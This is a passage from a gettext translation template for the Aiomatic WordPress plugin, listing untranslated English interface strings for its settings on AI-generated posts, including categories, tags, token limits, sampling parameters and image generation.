res/aiomatic-review-list.php:4103 #: res/aiomatic-rules-list.php:1559 res/aiomatic-rules-list.php:4323 #: res/aiomatic-youtube-list.php:1311 res/aiomatic-youtube-list.php:3831 msgid "" "Select the post category that you want for the automatically generated posts " "to have." msgstr "" #: res/aiomatic-amazon-list.php:1389 res/aiomatic-listicle-list.php:1297 #: res/aiomatic-review-list.php:1458 res/aiomatic-rules-list.php:1563 #: res/aiomatic-youtube-list.php:1315 msgid "Additional Post Category:" msgstr "" #: res/aiomatic-amazon-list.php:1393 res/aiomatic-amazon-list.php:3973 #: res/aiomatic-listicle-list.php:1301 res/aiomatic-listicle-list.php:3790 #: res/aiomatic-review-list.php:1462 res/aiomatic-review-list.php:4126 #: res/aiomatic-rules-list.php:1567 res/aiomatic-rules-list.php:4346 #: res/aiomatic-youtube-list.php:1319 res/aiomatic-youtube-list.php:3854 msgid "Do Not Add a Category" msgstr "" #: res/aiomatic-amazon-list.php:1419 res/aiomatic-csv-list.php:457 #: res/aiomatic-listicle-list.php:1327 res/aiomatic-review-list.php:1488 #: res/aiomatic-rules-list.php:1593 res/aiomatic-youtube-list.php:1345 msgid "" "This feature will try to remove the WordPress's default post category. This " "may fail in case no additional categories are added, because WordPress " "requires at least one post category for every post." msgstr "" #: res/aiomatic-amazon-list.php:1423 res/aiomatic-csv-list.php:461 #: res/aiomatic-listicle-list.php:1331 res/aiomatic-review-list.php:1492 #: res/aiomatic-rules-list.php:1597 res/aiomatic-youtube-list.php:1349 msgid "Remove WP Default Post Category:" msgstr "" #: res/aiomatic-amazon-list.php:1434 res/aiomatic-amazon-list.php:4007 #: res/aiomatic-listicle-list.php:1342 res/aiomatic-listicle-list.php:3824 #: res/aiomatic-review-list.php:1503 res/aiomatic-review-list.php:4160 #: res/aiomatic-rules-list.php:1608 res/aiomatic-rules-list.php:4380 #: res/aiomatic-spinner-list.php:2914 res/aiomatic-youtube-list.php:1360 #: res/aiomatic-youtube-list.php:3888 msgid "" "This option will make the plugin not create categories which are not already " "existing on your site. For best results in this case, be sure to add to the " "prompt the list of categories from where the AI should select." msgstr "" #: res/aiomatic-amazon-list.php:1438 res/aiomatic-listicle-list.php:1346 #: res/aiomatic-review-list.php:1507 res/aiomatic-rules-list.php:1612 #: res/aiomatic-spinner-list.php:2918 res/aiomatic-youtube-list.php:1364 msgid "Do Not Add Inexistent Categories:" msgstr "" #: res/aiomatic-amazon-list.php:1445 res/aiomatic-amazon-list.php:4022 #: res/aiomatic-listicle-list.php:1353 res/aiomatic-listicle-list.php:3839 #: res/aiomatic-review-list.php:1514 res/aiomatic-review-list.php:4175 #: res/aiomatic-rules-list.php:1619 res/aiomatic-rules-list.php:4395 #: res/aiomatic-youtube-list.php:1371 res/aiomatic-youtube-list.php:3903 msgid "Post Tag Options" msgstr "" #: res/aiomatic-amazon-list.php:1452 res/aiomatic-listicle-list.php:1360 #: res/aiomatic-review-list.php:1521 res/aiomatic-rules-list.php:1626 #: res/aiomatic-youtube-list.php:1378 msgid "Do you want to automatically add post tags from the generated items?" msgstr "" #: res/aiomatic-amazon-list.php:1456 res/aiomatic-listicle-list.php:1364 #: res/aiomatic-review-list.php:1525 res/aiomatic-rules-list.php:1630 #: res/aiomatic-youtube-list.php:1382 msgid "Auto Add Tags:" msgstr "" #: res/aiomatic-amazon-list.php:1473 res/aiomatic-listicle-list.php:1381 #: res/aiomatic-review-list.php:1542 res/aiomatic-rules-list.php:1647 #: res/aiomatic-youtube-list.php:1399 msgid "" "Select the AI Model to be used for tag generator. You can add this to the " "post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' settings " "field." msgstr "" #: res/aiomatic-amazon-list.php:1477 res/aiomatic-listicle-list.php:1385 #: res/aiomatic-review-list.php:1546 res/aiomatic-rules-list.php:1651 #: res/aiomatic-youtube-list.php:1403 msgid "AI Model For Post Tag Generator:" msgstr "" #: res/aiomatic-amazon-list.php:1496 res/aiomatic-review-list.php:1565 #: res/aiomatic-youtube-list.php:1422 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to AI for " "generating post tags. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. " "You can also add a link to a TXT file, containing keywords (one per line), " "or to an RSS feed. If you use RSS feeds, you can also use the following " "additional shortcodes: %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You can also " "add here a link to a .txt file, where you can add multiple prompts (one per " "line) and the plugin will select a random one at each run. You will also be " "able to use the custom shortcodes defined in the 'Custom Shortcode Creator' " "feature from the rule settings - this will allow you to create partially or " "fully AI generated prompts which will be used for the content generators." msgstr "" #: res/aiomatic-amazon-list.php:1501 res/aiomatic-listicle-list.php:1409 #: res/aiomatic-review-list.php:1570 res/aiomatic-rules-list.php:1675 #: res/aiomatic-youtube-list.php:1427 msgid "Prompt For The AI Post Tag Generator:" msgstr "" #: res/aiomatic-amazon-list.php:1512 res/aiomatic-amazon-list.php:4103 #: res/aiomatic-listicle-list.php:1420 res/aiomatic-listicle-list.php:3920 #: res/aiomatic-review-list.php:1581 res/aiomatic-review-list.php:4256 #: res/aiomatic-rules-list.php:1686 res/aiomatic-rules-list.php:4476 #: res/aiomatic-youtube-list.php:1438 res/aiomatic-youtube-list.php:3984 msgid "" "Select the post tags that you want for the automatically generated posts to " "have. Spintax supported." msgstr "" #: res/aiomatic-amazon-list.php:1516 res/aiomatic-listicle-list.php:1424 #: res/aiomatic-review-list.php:1585 res/aiomatic-rules-list.php:1690 #: res/aiomatic-youtube-list.php:1442 msgid "Additional Post Tags:" msgstr "" #: res/aiomatic-amazon-list.php:1523 res/aiomatic-amazon-list.php:4113 #: res/aiomatic-listicle-list.php:1431 res/aiomatic-listicle-list.php:3930 #: res/aiomatic-review-list.php:1592 res/aiomatic-review-list.php:4266 #: res/aiomatic-rules-list.php:1697 res/aiomatic-rules-list.php:4486 #: res/aiomatic-single-list.php:2278 res/aiomatic-single-list.php:3481 #: res/aiomatic-single-list.php:4216 res/aiomatic-single-list.php:5469 #: res/aiomatic-single-list.php:6783 res/aiomatic-single-list.php:8149 #: res/aiomatic-youtube-list.php:1449 res/aiomatic-youtube-list.php:3994 msgid "Advanced AI Text Generator Options" msgstr "" #: res/aiomatic-amazon-list.php:1530 res/aiomatic-amazon-list.php:4117 msgid "" "Set the maximum number of API tokens to use with each request. This will " "define the length of the resulting API response. Each token usually consists " "of approximately 4 characters. Note that in this value the number of tokens " "sent to the API as an article prompt will also be counted. For other models, " "the maximum is 2048." msgstr "" #: res/aiomatic-amazon-list.php:1534 res/aiomatic-listicle-list.php:1442 #: res/aiomatic-review-list.php:1603 res/aiomatic-rules-list.php:1708 #: res/aiomatic-single-list.php:2289 res/aiomatic-single-list.php:3492 #: res/aiomatic-single-list.php:4227 res/aiomatic-single-list.php:5480 #: res/aiomatic-single-list.php:6794 res/aiomatic-single-list.php:8160 #: res/aiomatic-spinner-list.php:1984 res/aiomatic-youtube-list.php:1460 msgid "Maximum Total Token Count To Use Per API Request:" msgstr "" #: res/aiomatic-amazon-list.php:1545 res/aiomatic-amazon-list.php:4128 #: res/aiomatic-listicle-list.php:1453 res/aiomatic-listicle-list.php:3945 #: res/aiomatic-review-list.php:1614 res/aiomatic-review-list.php:4281 #: res/aiomatic-rules-list.php:1719 res/aiomatic-rules-list.php:4501 #: res/aiomatic-single-list.php:2300 res/aiomatic-single-list.php:3503 #: res/aiomatic-single-list.php:4238 res/aiomatic-single-list.php:5491 #: res/aiomatic-single-list.php:6805 res/aiomatic-single-list.php:8171 #: res/aiomatic-youtube-list.php:1471 res/aiomatic-youtube-list.php:4009 msgid "" "Set the maximum number of prompt API tokens to use with each request. This " "will define the length of the resulting API response. Each token usually " "consists of approximately 4 characters. This defines how much content does " "the API receive each time you call it. If the API gets more initial data, " "better quality results will be expected. The maximum amount which can be set " "is 1000." msgstr "" #: res/aiomatic-amazon-list.php:1549 res/aiomatic-listicle-list.php:1457 #: res/aiomatic-review-list.php:1618 res/aiomatic-rules-list.php:1723 #: res/aiomatic-single-list.php:2304 res/aiomatic-single-list.php:3507 #: res/aiomatic-single-list.php:4242 res/aiomatic-single-list.php:5495 #: res/aiomatic-single-list.php:6809 res/aiomatic-single-list.php:8175 #: res/aiomatic-spinner-list.php:1997 res/aiomatic-youtube-list.php:1475 msgid "Maximum Prompt Token Count To Use Per API Request:" msgstr "" #: res/aiomatic-amazon-list.php:1560 res/aiomatic-amazon-list.php:4139 #: res/aiomatic-review-list.php:1629 res/aiomatic-review-list.php:4292 #: res/aiomatic-rules-list.php:1734 res/aiomatic-rules-list.php:4512 #: res/aiomatic-single-list.php:4253 res/aiomatic-single-list.php:5506 #: res/aiomatic-single-list.php:6820 res/aiomatic-single-list.php:8186 #: res/aiomatic-youtube-list.php:1486 res/aiomatic-youtube-list.php:4020 msgid "" "Set the maximum number of continue API tokens to use with each request. This " "will define the length of the resulting API response. Each token usually " "consists of approximately 4 characters. This defines how much content does " "the API receive each time you call it. If the API gets more initial data, " "better quality results will be expected. The maximum amount which can be set " "is 500." msgstr "" #: res/aiomatic-amazon-list.php:1564 res/aiomatic-review-list.php:1633 #: res/aiomatic-rules-list.php:1738 res/aiomatic-single-list.php:4257 #: res/aiomatic-single-list.php:5510 res/aiomatic-single-list.php:6824 #: res/aiomatic-single-list.php:8190 res/aiomatic-spinner-list.php:2023 #: res/aiomatic-youtube-list.php:1490 msgid "Maximum Continue Token Count To Use Per API Request:" msgstr "" #: res/aiomatic-amazon-list.php:1575 res/aiomatic-amazon-list.php:4150 #: res/aiomatic-chatbot.php:1414 res/aiomatic-chatbot.php:6746 #: res/aiomatic-listicle-list.php:1468 res/aiomatic-listicle-list.php:3956 #: res/aiomatic-main.php:3694 res/aiomatic-main.php:6542 #: res/aiomatic-review-list.php:1644 res/aiomatic-review-list.php:4303 #: res/aiomatic-rules-list.php:1749 res/aiomatic-rules-list.php:4523 #: res/aiomatic-single-list.php:2315 res/aiomatic-single-list.php:3518 #: res/aiomatic-single-list.php:4268 res/aiomatic-single-list.php:5521 #: res/aiomatic-single-list.php:6835 res/aiomatic-single-list.php:8201 #: res/aiomatic-spinner-list.php:1382 res/aiomatic-spinner-list.php:2035 #: res/aiomatic-youtube-list.php:1501 res/aiomatic-youtube-list.php:4031 msgid "" "What sampling temperature to use. Higher values means the model will take " "more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) " "for ones with a well-defined answer. We generally recommend altering this or " "top_p but not both." msgstr "" #: res/aiomatic-amazon-list.php:1579 res/aiomatic-listicle-list.php:1472 #: res/aiomatic-review-list.php:1648 res/aiomatic-rules-list.php:1753 #: res/aiomatic-single-list.php:2319 res/aiomatic-single-list.php:3522 #: res/aiomatic-single-list.php:4272 res/aiomatic-single-list.php:5525 #: res/aiomatic-single-list.php:6839 res/aiomatic-single-list.php:8205 #: res/aiomatic-youtube-list.php:1505 msgid "AI Temperature:" msgstr "" #: res/aiomatic-amazon-list.php:1589 res/aiomatic-amazon-list.php:4162 #: res/aiomatic-chatbot.php:1427 res/aiomatic-chatbot.php:6759 #: res/aiomatic-listicle-list.php:1482 res/aiomatic-listicle-list.php:3968 #: res/aiomatic-main.php:3709 res/aiomatic-main.php:6557 #: res/aiomatic-review-list.php:1658 res/aiomatic-review-list.php:4315 #: res/aiomatic-rules-list.php:1763 res/aiomatic-rules-list.php:4535 #: res/aiomatic-single-list.php:2329 res/aiomatic-single-list.php:3532 #: res/aiomatic-single-list.php:4282 res/aiomatic-single-list.php:5535 #: res/aiomatic-single-list.php:6849 res/aiomatic-single-list.php:8215 #: res/aiomatic-spinner-list.php:1395 res/aiomatic-spinner-list.php:2048 #: res/aiomatic-youtube-list.php:1515 res/aiomatic-youtube-list.php:4043 msgid "" "An alternative to sampling with temperature, called nucleus sampling, where " "the model considers the results of the tokens with top_p probability mass. " "So 0.1 means only the tokens comprising the top 10% probability mass are " "considered. We generally recommend altering this or temperature but not both." msgstr "" #: res/aiomatic-amazon-list.php:1593 res/aiomatic-listicle-list.php:1486 #: res/aiomatic-review-list.php:1662 res/aiomatic-rules-list.php:1767 #: res/aiomatic-single-list.php:2333 res/aiomatic-single-list.php:3536 #: res/aiomatic-single-list.php:4286 res/aiomatic-single-list.php:5539 #: res/aiomatic-single-list.php:6853 res/aiomatic-single-list.php:8219 #: res/aiomatic-youtube-list.php:1519 msgid "AI Top_p:" msgstr "" #: res/aiomatic-amazon-list.php:1603 res/aiomatic-amazon-list.php:4174 #: res/aiomatic-chatbot.php:1440 res/aiomatic-chatbot.php:6772 #: res/aiomatic-listicle-list.php:1496 res/aiomatic-listicle-list.php:3980 #: res/aiomatic-main.php:3724 res/aiomatic-main.php:6572 #: res/aiomatic-review-list.php:1672 res/aiomatic-review-list.php:4327 #: res/aiomatic-rules-list.php:1777 res/aiomatic-rules-list.php:4547 #: res/aiomatic-single-list.php:2343 res/aiomatic-single-list.php:3546 #: res/aiomatic-single-list.php:4296 res/aiomatic-single-list.php:5549 #: res/aiomatic-single-list.php:6863 res/aiomatic-single-list.php:8229 #: res/aiomatic-spinner-list.php:2061 res/aiomatic-youtube-list.php:1529 #: res/aiomatic-youtube-list.php:4055 msgid "" "Number between -2.0 and 2.0. Positive values penalize new tokens based on " "whether they appear in the text so far, increasing the model's likelihood to " "talk about new topics." msgstr "" #: res/aiomatic-amazon-list.php:1607 res/aiomatic-listicle-list.php:1500 #: res/aiomatic-review-list.php:1676 res/aiomatic-rules-list.php:1781 #: res/aiomatic-single-list.php:2347 res/aiomatic-single-list.php:3550 #: res/aiomatic-single-list.php:4300 res/aiomatic-single-list.php:5553 #: res/aiomatic-single-list.php:6867 res/aiomatic-single-list.php:8233 #: res/aiomatic-spinner-list.php:2065 res/aiomatic-youtube-list.php:1533 msgid "AI Presence Penalty:" msgstr "" #: res/aiomatic-amazon-list.php:1617 res/aiomatic-amazon-list.php:4186 #: res/aiomatic-chatbot.php:1453 res/aiomatic-chatbot.php:6785 #: res/aiomatic-listicle-list.php:1510 res/aiomatic-listicle-list.php:3992 #: res/aiomatic-main.php:3739 res/aiomatic-main.php:6587 #: res/aiomatic-review-list.php:1686 res/aiomatic-review-list.php:4339 #: res/aiomatic-rules-list.php:1791 res/aiomatic-rules-list.php:4559 #: res/aiomatic-single-list.php:2357 res/aiomatic-single-list.php:3560 #: res/aiomatic-single-list.php:4310 res/aiomatic-single-list.php:5563 #: res/aiomatic-single-list.php:6877 res/aiomatic-single-list.php:8243 #: res/aiomatic-spinner-list.php:2074 res/aiomatic-youtube-list.php:1543 #: res/aiomatic-youtube-list.php:4067 msgid "" "Number between -2.0 and 2.0. Positive values penalize new tokens based on " "their existing frequency in the text so far, decreasing the model's " "likelihood to repeat the same line verbatim." msgstr "" #: res/aiomatic-amazon-list.php:1621 res/aiomatic-listicle-list.php:1514 #: res/aiomatic-review-list.php:1690 res/aiomatic-rules-list.php:1795 #: res/aiomatic-single-list.php:2361 res/aiomatic-single-list.php:3564 #: res/aiomatic-single-list.php:4314 res/aiomatic-single-list.php:5567 #: res/aiomatic-single-list.php:6881 res/aiomatic-single-list.php:8247 #: res/aiomatic-spinner-list.php:2078 res/aiomatic-youtube-list.php:1547 msgid "AI Frequency Penalty:" msgstr "" #: res/aiomatic-amazon-list.php:1628 res/aiomatic-amazon-list.php:4195 #: res/aiomatic-listicle-list.php:1521 res/aiomatic-listicle-list.php:4001 #: res/aiomatic-review-list.php:1697 res/aiomatic-review-list.php:4348 #: res/aiomatic-rules-list.php:1802 res/aiomatic-rules-list.php:4568 #: res/aiomatic-single-list.php:2368 res/aiomatic-single-list.php:3571 #: res/aiomatic-single-list.php:4321 res/aiomatic-single-list.php:5574 #: res/aiomatic-single-list.php:6888 res/aiomatic-single-list.php:8254 #: res/aiomatic-youtube-list.php:1554 res/aiomatic-youtube-list.php:4076 msgid "Image Generator Options" msgstr "" #: res/aiomatic-amazon-list.php:1636 res/aiomatic-listicle-list.php:1529 #: res/aiomatic-review-list.php:1705 res/aiomatic-rules-list.php:1810 #: res/aiomatic-youtube-list.php:1562 msgid "" "Do you want to set a featured image for the created post (royalty free or AI " "generated)? Please note that for this feature to function you must configure " "the plugin (add API keys) in the plugin's 'Settings' menu -> 'Royalty Free " "Featured Image Importing Options' section." msgstr "" #: res/aiomatic-amazon-list.php:1640 res/aiomatic-listicle-list.php:1533 #: res/aiomatic-review-list.php:1709 res/aiomatic-rules-list.php:1814 #: res/aiomatic-youtube-list.php:1566 msgid "Auto Set A Featured Image For Posts (Select Source Below):" msgstr "" #: res/aiomatic-amazon-list.php:1645 res/aiomatic-amazon-list.php:4215 #: res/aiomatic-review-list.php:1714 res/aiomatic-review-list.php:4368 #: res/aiomatic-youtube-list.php:1571 res/aiomatic-youtube-list.php:4096 msgid "AI Image From Below Selector" msgstr "" #: res/aiomatic-amazon-list.php:1646 res/aiomatic-amazon-list.php:4220 msgid "Random Amazon Product Thumbnail" msgstr "" #: res/aiomatic-amazon-list.php:1655 res/aiomatic-amazon-list.php:4228 #: res/aiomatic-listicle-list.php:1544 res/aiomatic-listicle-list.php:4022 #: res/aiomatic-review-list.php:1724 res/aiomatic-review-list.php:4381 #: res/aiomatic-rules-list.php:1825 res/aiomatic-rules-list.php:4589 #: res/aiomatic-single-list.php:2375 res/aiomatic-single-list.php:3578 #: res/aiomatic-single-list.php:4328 res/aiomatic-single-list.php:5581 #: res/aiomatic-single-list.php:6895 res/aiomatic-single-list.php:8261 #: res/aiomatic-youtube-list.php:1581 res/aiomatic-youtube-list.php:4109 msgid "" "Select the search query repetition mode, when searching royalty free images." msgstr "" #: res/aiomatic-amazon-list.php:1659 res/aiomatic-listicle-list.php:1548 #: res/aiomatic-review-list.php:1728 res/aiomatic-rules-list.php:1829 #: res/aiomatic-single-list.php:2379 res/aiomatic-single-list.php:3582 #: res/aiomatic-single-list.php:4332 res/aiomatic-single-list.php:5585 #: res/aiomatic-single-list.php:6899 res/aiomatic-single-list.php:8265 #: res/aiomatic-youtube-list.php:1585 msgid "Search Query Repetition:" msgstr "" #: res/aiomatic-amazon-list.php:1663 res/aiomatic-amazon-list.php:4238 #: res/aiomatic-listicle-list.php:1552 res/aiomatic-listicle-list.php:4032 #: res/aiomatic-review-list.php:1732 res/aiomatic-review-list.php:4391 #: res/aiomatic-rules-list.php:1833 res/aiomatic-rules-list.php:4599 #: res/aiomatic-single-list.php:2383 res/aiomatic-single-list.php:3586 #: res/aiomatic-single-list.php:4336 res/aiomatic-single-list.php:5589 #: res/aiomatic-single-list.php:6903 res/aiomatic-single-list.php:8269 #: res/aiomatic-youtube-list.php:1589 res/aiomatic-youtube-list.php:4119 msgid "Use Different Search Queries For Images" msgstr "" #: res/aiomatic-amazon-list.php:1664 res/aiomatic-amazon-list.php:4243 #: res/aiomatic-listicle-list.php:1553 res/aiomatic-listicle-list.php:4037 #: res/aiomatic-review-list.php:1733 res/aiomatic-review-list.php:4396 #: res/aiomatic-rules-list.php:1834 res/aiomatic-rules-list.php:4604 #: res/aiomatic-single-list.php:2384 res/aiomatic-single-list.php:3587 #: res/aiomatic-single-list.php:4337 res/aiomatic-single-list.php:5590 #: res/aiomatic-single-list.php:6904 res/aiomatic-single-list.php:8270 #: res/aiomatic-youtube-list.php:1590 res/aiomatic-youtube-list.php:4124 msgid "Use The Same Search Query For Images" msgstr "" #: res/aiomatic-amazon-list.php:1673 res/aiomatic-amazon-list.php:4250 #: res/aiomatic-listicle-list.php:1562 res/aiomatic-listicle-list.php:4044 #: res/aiomatic-review-list.php:1742 res/aiomatic-review-list.php:4403 #: res/aiomatic-rules-list.php:1843 res/aiomatic-rules-list.php:4611 #: res/aiomatic-single-list.php:2393 res/aiomatic-single-list.php:3596 #: res/aiomatic-single-list.php:4346 res/aiomatic-single-list.php:5599 #: res/aiomatic-single-list.php:6913 res/aiomatic-single-list.php:8279 #: res/aiomatic-youtube-list.php:1599 res/aiomatic-youtube-list.php:4131 msgid "" "Do you want to enable the AI Image Generator and to replace Royalty Free " "Images with AI generated images? If you select 'Default Featured Image " "List', you can add the image URLs in the 'Default Featured Image List' " "settings field." msgstr "" #: res/aiomatic-amazon-list.php:1677 res/aiomatic-listicle-list.php:1566 #: res/aiomatic-review-list.php:1746 res/aiomatic-rules-list.php:1847 #: res/aiomatic-single-list.php:2397 res/aiomatic-single-list.php:3600 #: res/aiomatic-single-list.php:4350 res/aiomatic-single-list.php:5603 #: res/aiomatic-single-list.php:6917 res/aiomatic-single-list.php:8283 #: res/aiomatic-youtube-list.php:1603 msgid "Article Image Source:" msgstr "" #: res/aiomatic-amazon-list.php:1681 res/aiomatic-amazon-list.php:4260 #: res/aiomatic-listicle-list.php:1570 res/aiomatic-listicle-list.php:4054 #: res/aiomatic-review-list.php:1750 res/aiomatic-review-list.php:4413 #: res/aiomatic-rules-list.php:1851 res/aiomatic-rules-list.php:4621 #: res/aiomatic-single-list.php:2401 res/aiomatic-single-list.php:3604 #: res/aiomatic-single-list.php:4354 res/aiomatic-single-list.php:5607 #: res/aiomatic-single-list.php:6921 res/aiomatic-single-list.php:8287 #: res/aiomatic-spinner-list.php:1627 res/aiomatic-spinner-list.php:2264 #: res/aiomatic-youtube-list.php:1607 res/aiomatic-youtube-list.php:4141 msgid "Royalty Free" msgstr "" #: res/aiomatic-amazon-list.php:1682 res/aiomatic-amazon-list.php:4265 #: res/aiomatic-listicle-list.php:1571 res/aiomatic-listicle-list.php:4059 #: res/aiomatic-main.php:8901 res/aiomatic-review-list.php:1751 #: res/aiomatic-review-list.php:4418 res/aiomatic-rules-list.php:1852 #: res/aiomatic-rules-list.php:4626 res/aiomatic-single-list.php:2402 #: res/aiomatic-single-list.php:3605 res/aiomatic-single-list.php:4355 #: res/aiomatic-single-list.php:5608 res/aiomatic-single-list.php:6922 #: res/aiomatic-single-list.php:8288 res/aiomatic-spinner-list.php:1610 #: res/aiomatic-spinner-list.php:2240 res/aiomatic-youtube-list.php:1608 #: res/aiomatic-youtube-list.php:4146 msgid "OpenAI/AiomaticAPI" msgstr "" #: res/aiomatic-amazon-list.php:1687 res/aiomatic-amazon-list.php:4270 #: res/aiomatic-listicle-list.php:1576 res/aiomatic-listicle-list.php:4064 #: res/aiomatic-main.php:2242 res/aiomatic-main.php:3597 #: res/aiomatic-review-list.php:1756 res/aiomatic-review-list.php:4423 #: res/aiomatic-rules-list.php:1857 res/aiomatic-rules-list.php:4631 #: res/aiomatic-single-list.php:2407 res/aiomatic-single-list.php:3610 #: res/aiomatic-single-list.php:4360 res/aiomatic-single-list.php:5613 #: res/aiomatic-single-list.php:6927 res/aiomatic-single-list.php:8293 #: res/aiomatic-spinner-list.php:1516 res/aiomatic-spinner-list.php:1619 #: res/aiomatic-spinner-list.php:1792 res/aiomatic-spinner-list.php:2248 #: res/aiomatic-youtube-list.php:1613 res/aiomatic-youtube-list.php:4151 msgid "Stability.AI" msgstr "" #: res/aiomatic-amazon-list.php:1697 res/aiomatic-amazon-list.php:4280 #: res/aiomatic-listicle-list.php:1586 res/aiomatic-listicle-list.php:4074 #: res/aiomatic-review-list.php:1766 res/aiomatic-review-list.php:4433 #: res/aiomatic-rules-list.php:1867 res/aiomatic-rules-list.php:4641 #: res/aiomatic-spinner-list.php:1632 res/aiomatic-youtube-list.php:1623 #: res/aiomatic-youtube-list.php:4161 msgid "Manual URL List" msgstr "" #: res/aiomatic-amazon-list.php:1706 res/aiomatic-review-list.php:1775 #: res/aiomatic-single-list.php:5625 res/aiomatic-single-list.php:6939 #: res/aiomatic-single-list.php:8305 res/aiomatic-youtube-list.php:1632 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to the AI " "image generator. This command can be any given task or order, based on " "which, it will generate images. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. " "The length of this command should not be greater than 1000 characters, " "otherwise the plugin will strip it to 1000 characters length. - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You can also " "add here a link to a .txt file, where you can add multiple prompts (one per " "line) and the plugin will select a random one at each run. You will also be " "able to use the custom shortcodes defined in the 'Custom Shortcode Creator' " "feature from the rule settings - this will allow you to create partially or " "fully AI generated prompts which will be used for the content generators. " "You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" #: res/aiomatic-amazon-list.php:1707 res/aiomatic-amazon-list.php:4287 #: res/aiomatic-listicle-list.php:1596 res/aiomatic-review-list.php:1776 #: res/aiomatic-review-list.php:4440 res/aiomatic-rules-list.php:1877 #: res/aiomatic-single-list.php:2420 res/aiomatic-single-list.php:3623 #: res/aiomatic-single-list.php:4373 res/aiomatic-single-list.php:5626 #: res/aiomatic-single-list.php:6940 res/aiomatic-single-list.php:8306 #: res/aiomatic-youtube-list.php:1633 res/aiomatic-youtube-list.php:4168 #, php-format msgid "" "Please check some tips and tricks about writing prompt commands, here. The [aicontent] shortcode is able to be " "used also here." msgstr "" #: res/aiomatic-amazon-list.php:1711 res/aiomatic-listicle-list.php:1600 #: res/aiomatic-review-list.php:1780 res/aiomatic-rules-list.php:1881 #: res/aiomatic-single-list.php:2424 res/aiomatic-single-list.php:3627 #: res/aiomatic-single-list.php:4377 res/aiomatic-single-list.php:5630 #: res/aiomatic-single-list.php:6944 res/aiomatic-single-list.php:8310 #: res/aiomatic-youtube-list.php:1637 msgid "Prompt For The AI Image Generator:" msgstr "" #: res/aiomatic-amazon-list.php:1722 res/aiomatic-amazon-list.php:4300 #: res/aiomatic-listicle-list.php:1611 res/aiomatic-listicle-list.php:4094 #: res/aiomatic-review-list.php:1791 res/aiomatic-review-list.php:4453 #: res/aiomatic-rules-list.php:1892 res/aiomatic-rules-list.php:4661 #: res/aiomatic-single-list.php:2435 res/aiomatic-single-list.php:3638 #: res/aiomatic-single-list.php:4388 res/aiomatic-single-list.php:5641 #: res/aiomatic-single-list.php:6955 res/aiomatic-single-list.php:8321 #: res/aiomatic-youtube-list.php:1648 res/aiomatic-youtube-list.php:4181 msgid "Select the AI model you wish to use for image the image generator." msgstr "" #: res/aiomatic-amazon-list.php:1726 res/aiomatic-chatbot.php:3261 #: res/aiomatic-chatbot.php:6571 res/aiomatic-listicle-list.php:1615 #: res/aiomatic-main.php:3900 res/aiomatic-review-list.php:1795 #: res/aiomatic-rules-list.php:1896 res/aiomatic-single-list.php:2439 #: res/aiomatic-single-list.php:3642 res/aiomatic-single-list.php:4392 #: res/aiomatic-single-list.php:5645 res/aiomatic-single-list.php:6959 #: res/aiomatic-single-list.php:8325 res/aiomatic-spinner-list.php:1703 #: res/aiomatic-youtube-list.php:1652 msgid "AI Image Model:" msgstr "" #: res/aiomatic-amazon-list.php:1732 res/aiomatic-amazon-list.php:4320 #: res/aiomatic-chatbot.php:3267 res/aiomatic-chatbot.php:6577 #: res/aiomatic-listicle-list.php:1621 res/aiomatic-listicle-list.php:4114 #: res/aiomatic-main.php:3906 res/aiomatic-review-list.php:1801 #: res/aiomatic-review-list.php:4473 res/aiomatic-rules-list.php:1902 #: res/aiomatic-rules-list.php:4681 res/aiomatic-single-list.php:2445 #: res/aiomatic-single-list.php:3648 res/aiomatic-single-list.php:4398 #: res/aiomatic-single-list.php:5651 res/aiomatic-single-list.php:6965 #: res/aiomatic-single-list.php:8331 res/aiomatic-spinner-list.php:1722 #: res/aiomatic-youtube-list.php:1658 res/aiomatic-youtube-list.php:4201 msgid "Dall-E 3 HD" msgstr "" #: res/aiomatic-amazon-list.php:1741 res/aiomatic-amazon-list.php:4327 #: res/aiomatic-listicle-list.php:1630 res/aiomatic-listicle-list.php:4121 #: res/aiomatic-review-list.php:1810 res/aiomatic-review-list.php:4480 #: res/aiomatic-rules-list.php:1911 res/aiomatic-rules-list.php:4688 #: res/aiomatic-single-list.php:2454 res/aiomatic-single-list.php:3657 #: res/aiomatic-single-list.php:4407 res/aiomatic-single-list.php:5660 #: res/aiomatic-single-list.php:6974 res/aiomatic-single-list.php:8340 #: res/aiomatic-youtube-list.php:1667 res/aiomatic-youtube-list.php:4208 msgid "Select the size of the generated image." msgstr "" #: res/aiomatic-amazon-list.php:1745 res/aiomatic-listicle-list.php:1634 #: res/aiomatic-review-list.php:1814 res/aiomatic-rules-list.php:1915 #: res/aiomatic-single-list.php:2458 res/aiomatic-single-list.php:3661 #: res/aiomatic-single-list.php:4411 res/aiomatic-single-list.php:5664 #: res/aiomatic-single-list.php:6978 res/aiomatic-single-list.php:8344 #: res/aiomatic-youtube-list.php:1671 msgid "Generated Image Size:" msgstr "" #: res/aiomatic-amazon-list.php:1749 res/aiomatic-amazon-list.php:4337 #: res/aiomatic-listicle-list.php:1638 res/aiomatic-listicle-list.php:4131 #: res/aiomatic-review-list.php:1818 res/aiomatic-review-list.php:4490 #: res/aiomatic-rules-list.php:1919 res/aiomatic-rules-list.php:4698 #: res/aiomatic-spinner-list.php:1670 res/aiomatic-youtube-list.php:1675 #: res/aiomatic-youtube-list.php:4218 msgid "256x256 (only for Dall-E 2)" msgstr "" #: res/aiomatic-amazon-list.php:1750 res/aiomatic-amazon-list.php:4342 #: res/aiomatic-listicle-list.php:1639 res/aiomatic-listicle-list.php:4136 #: res/aiomatic-review-list.php:1819 res/aiomatic-review-list.php:4495 #: res/aiomatic-rules-list.php:1920 res/aiomatic-rules-list.php:4703 